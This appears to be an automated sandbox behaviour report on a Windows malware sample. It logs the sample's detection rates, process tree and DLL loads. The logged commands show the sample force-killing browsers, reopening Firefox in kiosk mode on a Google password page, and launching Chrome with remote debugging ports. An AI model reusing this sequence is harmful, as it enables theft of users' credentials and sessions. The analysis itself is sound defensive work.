Source: 22a4a09ee3.exe, 00000009.00000003.2615598178.00000000058F8000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2640651922.00000000058DA000.00000004.00000800.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000003.2852444223.000000001D155000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2768149010.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: 8c3bfc0f85.exe, 0000000A.00000002.3072086078.000000001D259000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	Virustotal: Detection: 50%
Source: file.exe	ReversingLabs: Detection: 60%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 8c3bfc0f85.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe "C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe "C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe "C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe "C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe"
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2232 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b905026f-7fb0-48f4-bda0-0aaae8364398} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5c9b6e510 socket
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4272 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4108 -parentBuildID 20230927232528 -prefsHandle 2844 -prefMapHandle 4104 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3515d1b8-cb3f-4c13-9976-c2ba99fe0412} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5dbdabf10 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe "C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2480,i,3370209604487546096,5591142597664395409,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe "C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe"
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe "C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe "C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe "C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe "C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe "C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4272 --field-trial-handle=2028,i,14999898261124399655,99952040929775553,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2232 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b905026f-7fb0-48f4-bda0-0aaae8364398} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5c9b6e510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4108 -parentBuildID 20230927232528 -prefsHandle 2844 -prefMapHandle 4104 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3515d1b8-cb3f-4c13-9976-c2ba99fe0412} 6200 "\\.\pipe\gecko-crash-server-pipe.6200" 1f5dbdabf10 rdd
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2480,i,3370209604487546096,5591142597664395409,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe	Section loaded: rasadhlp.dll	Jump to behavior
